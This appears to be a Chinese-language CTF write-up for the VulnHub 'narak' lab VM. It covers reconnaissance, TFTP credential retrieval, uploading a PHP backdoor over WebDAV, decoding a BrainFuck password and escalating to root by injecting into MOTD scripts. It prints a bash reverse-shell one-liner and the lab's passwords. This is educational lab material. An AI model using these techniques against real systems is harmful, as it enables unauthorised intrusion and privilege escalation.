[VulnHub] - narak靶场
靶机: https://download.vulnhub.com/ha/narak.ova
注释: 使用vmwar workstation运行虚拟机
难度: 中
目标: 取得 root 权限 + 2 Flag
靶机ip:192.168.100.133
攻击机ip:192.168.100.126
注:靶机部署在vmwork上采用nat方式
涉及知识点:信息收集、tftp、webdav、BrainFuck解密、MOTD提权
知识点解析:
1、MOTD 是 "Message of the Day"(每日信息)的缩写位于/etc/update-motd.d/ 目录下。它是在用户登录 Unix 或 Linux 系统时显示的一段消息,通常用于向用户传递系统管理员想要广播的通知或公告。
2、WebDAV(Web Distributed Authoring and Versioning)是一种基于 HTTP 协议的扩展,允许用户通过网络共享、编辑和管理文件和文件夹。主要用于远程文件系统的协作,可以让多个用户对同一个文件进行读写操作。WebDAV 被广泛用于云存储、版本控制、协作编辑等场景。
信息收集页面
![]() |
![]() |
![]() |
1、信息收集发现该主机为192.168.100.133同时使用nmap扫描发现该主机tcp开放的端口是80,22,udp开放端口为53、67、68、69等。

2、目录扫描工具发现了/tips.txt,当我访问/tips.txt时,内容显示“Hint to open the door of narak can be found in creds.txt.”,但是访问creds.txt又不存在,当我以为就止步于此的时候,想到了该主机还开放了tftp,我尝试在tftp上把这个creds.txt下载下来。


3、经过一些列操作终于把这个creds.txt下载到了本地,同时发现下载下来的文件是一个base64加密的文件,通过解密得到账号密码yamdoot/Swarg,使用账号密码成功登录服务器,此时文件是空的,并没有任何的利用信息,但又发现这个页面是webbav,webbav主要用于远程文件系统的协作,可以让多个用户对同一个文件进行读写操作。

4.在kali里存在多款工具可以充当webdav客户端,其中就有davtest 构造一个客户端来尝试访问服务器,查看服务器具有哪些权限,通过该工具看到能进行上传php、txt、pl、jhml等,从而构造了一段php后门上传的脚本,并成功上传至服务器中。


5、当我们访问/webdav/she.php的时候就触发了php的反弹shell,致使能访问到www-dada的用户,但是该用户并无root权限。

6、通过使用命令找计划任务、备份文件、suid的文件、可写文件高权限的凭据,并在/mnt/hell.sh 发现BrainFuck加密的数据,解密得到该加密信息为chitragupt,解密脚本如下:,通过账户密码成功登录到inferno,通过00-header发现这个是MOTD,通过这个我们在该脚本下植入,重新登录用户,反弹的shell成功获取到root用户权限。
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
#1、发现BrainFuck加密的数据
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
#2、BrainFuck解密脚本如下:
import sys
def brainfuck(code):
tape = [0] * 30000
ptr = 0
code_ptr = 0
output = []
bracket_map = {}
open_brackets = []
# Map brackets
for i, cmd in enumerate(code):
if cmd == '[':
open_brackets.append(i)
elif cmd == ']':
open_pos = open_brackets.pop()
bracket_map[open_pos] = i
bracket_map[i] = open_pos
while code_ptr < len(code):
cmd = code[code_ptr]
if cmd == '>':
ptr += 1
elif cmd == '<':
ptr -= 1
elif cmd == '+':
tape[ptr] = (tape[ptr] + 1) % 256
elif cmd == '-':
tape[ptr] = (tape[ptr] - 1) % 256
elif cmd == '.':
output.append(chr(tape[ptr]))
elif cmd == ',':
tape[ptr] = ord(sys.stdin.read(1))
elif cmd == '[' and tape[ptr] == 0:
code_ptr = bracket_map[code_ptr]
elif cmd == ']' and tape[ptr] != 0:
code_ptr = bracket_map[code_ptr]
code_ptr += 1
print(''.join(output))
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python brainfuck.py <filename>")
sys.exit(1)
with open(sys.argv[1], 'r') as f:
brainfuck(f.read())
3、反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.100.126/16666 0>&1'






浙公网安备 33010602011771号